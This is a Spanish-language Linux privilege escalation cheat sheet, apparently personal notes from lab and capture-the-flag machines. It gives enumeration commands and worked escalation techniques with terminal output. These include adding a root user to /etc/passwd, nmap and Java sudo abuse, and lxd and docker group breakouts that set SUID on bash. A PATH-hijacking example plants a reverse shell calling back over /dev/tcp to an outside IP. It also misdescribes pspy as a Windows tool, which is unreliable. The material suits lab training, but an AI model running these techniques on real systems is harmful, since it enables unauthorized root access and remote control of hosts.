

LINUX PRIVILEGE ESCALATION

HERRAMIENTAS ÚTILES

- GTFOBins: Un repositorio de técnicas de escalada de privilegios y ejecución de comandos utilizando binarios de Unix.

Comprobar Comandos Sudo

```
sudo -l
```

Comprobar los grupos usuario actual

```
id
```

Buscar Contraseñas en Archivos de Configuración

- `ls /var/www/html`
- `Revistar archivos php y conf`

Crontab

Buscar en crontab archivos que se ejecuten como root y que podamos editar:

- `crontab -l`
- `ls /etc/cron*`

Enumerar Variables de Entorno

El comando `env` muestra todas las variables de entorno de la shell. Podría incluir información sensible, como contraseñas:

```
PWD_token=aWthVGVOVEF0dEVTCg==
```

Enumerar Información del Sistema

Enumerar rutas interesantes:

- `ls -lsaht /opt | /tmp | /var/tmp | /var/backups | /var/mail | /dev/shm`

Enumerar información del sistema para encontrar posibles vulnerabilidades:

- `uname -a`
- `cat /etc/*-release`

Permisos SUID

Buscar archivos con permisos SUID:

- `find / -perm /4000 2>/dev/null`

Buscar Archivos con Permisos de Escritura y lectura

Buscar archivos y directorios que tienen permisos de escritura para todos los usuarios:

- `find / -writable 2>/dev/null`

Modificar /etc/shadow

Si tienes permisos de escritura en `/etc/shadow`, puedes generar una nueva contraseña para root:

- `openssl passwd -1 -salt abc password`

Reemplazar la entrada de root en `/etc/shadow` con la nueva contraseña.

Capabilities

Las **capabilities** son privilegios asignados a un usuario que permiten a procesos ejecutar acciones específicas sin requerir permisos completos de root.

- `/usr/sbin/getcap -r / 2>/dev/null`

Localizar puertos internos de la maquina

- `netstat -ano`
- `netstat -antp`

Localizar procesos corriendo en la maquina

- `ps aux`

Localizar dockers en la maquina

- `docker ps`

Acceder al contenedor

- `docker exec -it *nombre* bash`

Script para brute-forcear la contraseña de un usuario

<https://github.com/d4t4s3c/suForce>

Escalada en base a la version del kernel

- `uname -a`
- `lsb-release -a`

PSPY64, PROCESOS Y TAREAS PROGRAMADAS EN EJECUCION

Es una herramienta diseñada para monitorear procesos y detectar configuraciones incorrectas que podrían permitir la escalada de privilegios en sistemas Windows.

LINPEAS, AUTOMATIZAR ESCALADA

Es una herramienta que busca en el sistema configuraciones incorrectas y vulnerabilidades que pueden permitir la escalada de privilegios.

EJEMPLOS DE ESCALADA INTERESANTES

Escalada mediante Sudo y Java

Si tienes permisos de root en Java:

1. Crear un archivo malicioso con msfvenom ".java" que contenga la reverse shell.
2. Ejecutarlo con java como sudo
`sudo /usr/bin/java revershell.java`
3. Escuchar la conexión en la máquina local:

- `nc -lvnp <puerto>`

Escalada mediante Sudo y Chown

- `LFILE=/etc/passwd`
- `sudo chown $(id -un):$(id -gn) $LFILE`
- `openssl passwd hola123`
- `echo 'newroot:1EBhVbkUV$zW3uLFiknxfdzUV50jQZ40:0:0:./home/newroot:/bin/bash' >> /etc/passwd`
- `su newroot`

Escalada mediante Sudo y Nmap

- `sudo nmap --interactive`
- `!sh`

Escalada el binario chkrootkit

- Creamos un archivo llamado update en /tmp que otorge permisos SUID a la bash
- Le damos permisos de ejecucion

Escalada a traves del grupo lxd

Ejemplos:

- [Tabby - Writeup](#)
- [Templo WRITEUP](#)

1. Nos descargamos el repositorio que contiene una imagen de alpine:

```
(kali@kali)-[~/Downloads]
$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder' ...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42 (from 1)
Receiving objects: 100% (50/50), 3.11 MiB | 4.42 MiB/s, done.
Resolving deltas: 100% (15/15), done.
```

2. Transferimos la imagen:

```
takis@tenten:~$ wget http://10.10.14.6/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2024-12-17 17:37:22-- http://10.10.14.6/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: 'alpine-v3.13-x86_64-20210218_0139.tar.gz'

alpine-v3.13-x86_64-20210218_0139.tar.gz 100%[=====]
```

3. La importamos:

```
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

```
takis@tenten:~$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
```

4. Listamos las imagenes importadas:

```
takis@tenten:~$ lxc image list
+-----+-----+-----+-----+-----+-----+-----+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-----+-----+-----+-----+-----+-----+-----+
| alpine | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Dec 17, 2024 at 3:38pm (UTC) |
+-----+-----+-----+-----+-----+-----+-----+
```

5. Creamos el contenedor llamado privesc:

```
lxc init alpine privesc -c security.privileged=true
```

```
takis@tenten:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
```

6. Listamos los contenedores:

```
takis@tenten:~$ lxc list
+-----+-----+-----+-----+-----+-----+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-----+-----+-----+-----+-----+-----+
| privesc | STOPPED | | | PERSISTENT | 0 |
+-----+-----+-----+-----+-----+-----+
```

7. Le decimos a la configuracion del contenedor que añada todo lo que hay en la raiz del sistema a /mnt/root:

```
takis@tenten:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
```

8. Iniciamos el contenedor y ejecutamos una "sh" a traves del contenedor:

```
takis@tenten:~$ lxc start privesc
takis@tenten:~$ lxc exec privesc /bin/sh
~ # ls
~ # whoami
root
```

9. Nos encontramos dentro del contenedor pero la raiz del sistema se encuentra en /mnt/root. Para proporcionar permisos SUID al binario /bin/bash de la maquina real tenemos que hacerlo a la ruta /mnt/root/bin/bash:

```
~ # chmod +s /mnt/root/bin/bash
~ # exit
```

10. Salimos del docker y ejecutamos la bash con privilegios elevados ya que es un binario SUID:

```
takis@tenten:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jun 24  2016 /bin/bash
takis@tenten:~$ /bin/bash -p
bash-4.3# whoami
root
```

Escalada a traves del grupo Docker

- Ejemplo [Cache - Writeup](#)

Vamos a ver las imagenes que tenemos de docker importadas en la maquina

```
docker images

luffy@cache:/tmp$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest             2ca708c1c9cc       5 years ago        64.2MB
```

Para hacerlo desde 0 vamos a importar una nueva imagen de alpine. Como en esta maquina no tenemos salida a internet tenemos que descargarlo en nuestro kali. Para descargar la ultima version de alpine ejecutamos:

```
sudo docker pull alpine:latest
```

```
(kali@kali)-[~/Downloads/alpine]
$ sudo docker pull alpine:latest
latest: Pulling from library/alpine
1f3e46996e29: Pull complete
Digest: sha256:56fa17d2a7e7f168a043a2712e63aed1f8543aeafdcee47c58dcffe38ed51099
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
```

Podemos comprobar que se ha importado con :

```
sudo docker images

(kali@kali)-[~/Downloads/alpine]
$ sudo docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine              latest             b0c9d60fc5e3       2 weeks ago        7.83MB
```

Para guardarlo en un formato que podamos transferirlo a la maquina victima tenemos que pasarlo a un archivo tar ejecutando:

```
sudo docker save alpine > alpine.tar
```

```
(kali@kali)-[~/Downloads/alpine]
$ sudo docker save alpine > alpine.tar

(kali@kali)-[~/Downloads/alpine]
$ ls -la
total 7960
drwxrwxr-x 2 kali kali    4096 Jan 28 13:43 .
drwxr-xr-x 6 kali kali   12288 Jan 28 13:18 ..
-rw-rw-r-- 1 kali kali 8131584 Jan 28 13:43 alpine.tar
```

Nos la descargamos desde la maquina victima:

```
luffy@cache:/tmp$ wget http://10.10.14.7/alpine.tar
--2025-01-28 17:54:20--  http://10.10.14.7/alpine.tar
Connecting to 10.10.14.7:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8131584 (7.8M) [application/x-tar]
Saving to: 'alpine.tar'

alpine.tar      100%[=====>]  7.75M  2.31MB/s   in 3.7s
2025-01-28 17:54:24 (2.08 MB/s) - 'alpine.tar' saved [8131584/8131584]

luffy@cache:/tmp$ ls -la
total 7952
drwxrwxrwt  2 root  root    4096 Jan 28 17:54 .
drwxr-xr-x 23 root  root    4096 Jul  9  2020 ..
-rw-rw-r--  1 luffy luffy 8131584 Jan 28  2025 alpine.tar
```

Para cargar esta imagen de alpine podemos ejecutar:

```
docker load < alpine.tar
```

```
luffy@cache:/tmp$ docker load < alpine.tar
a0904247e36a: Loading layer 8.121MB/8.121MB
Loaded image: alpine:latest
luffy@cache:/tmp$ docker images
```

REPOSITORY	TAG	IMAGE ID	CREATED	SIZE
alpine	latest	b0c9d60fc5e3	2 weeks ago	7.83MB
ubuntu	latest	2ca708c1c9cc	5 years ago	64.2MB

En GTFOBins nos dice como podemos acceder a esta imagen de docker de alpine como el usuario root:

Shell

It can be used to break out from restricted environments like chroot.

The resulting is a root shell.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Este comando lo que hace es montar toda la raiz del sistema en la ruta /mnt del docker. Esto quiere decir que desde el docker vamos a tener permisos para navegar como root por el sistema "real". Podemos darnos el privilegio de SUID al binario /bin/bash y veremos que esto se aplica a la maquina "real", y no al docker:

```
luffy@cache:/tmp$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# pwd
/
# chmod +s /bin/bash
# exit
luffy@cache:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr  4 2018 /bin/bash
```

Ahora podemos ejecutar la bash con privilegios elevados:

```
luffy@cache:/tmp$ /bin/bash -p
bash-4.4# whoami
root
```

Path Hijacking

En este script el usuario rooot esta ejecutando el comando "ifconfig" de forma relativa

```
uname -i
ifconfig
Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7594
__do_global_dtors_aux_fini_array_entry
```

Esto quiere decir que nos tenemos que ir a una ruta donde tengamos permisos de escritura por ejemplo /tmp. Ahi tenemos que crear un archivo llamado ifconfig, insertarle una reverse shell y darle permisos de ejecucion:

```
kenobi@kenobi:/tmp$ cat ifconfig
#!/bin/bash

bash -c "sh -i >& /dev/tcp/10.21.39.53/1234 0>&1"
```

Lo que tenemos que hacer ahora es incluir la carpeta /tmp en la variable path y ponerla en el primer lugar para que cuando se ejecute el comando ifconfig realmente se este ejecutando la reverse shell que se encuentra en el directorio /tmp.

```
export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/bin
```

Si nos ponemos a la escucha con netcat recibiremos una conexion a la maquina victima a traves del usuario root

Escalada con vncviewer

- Ejemplo [Poison - Writeup](#)]

Escalada mediante Sudo y Nginx

- Ejemplo: [Broker - Writeup](#)

Library hijacking

Ejemplos:

- [Frienzone - Writeup](#)
- [Admirer - Writeup](#)

Escalada con journalctl

- Ejemplos [Traverxec - Writeup](#)

Escalada a traves del grupo adm

- Este grupo puede ver los logs del sistema `"/var/log"`

Escalada a traves del archivo .Xauthority

- [Squased - Writeup](#)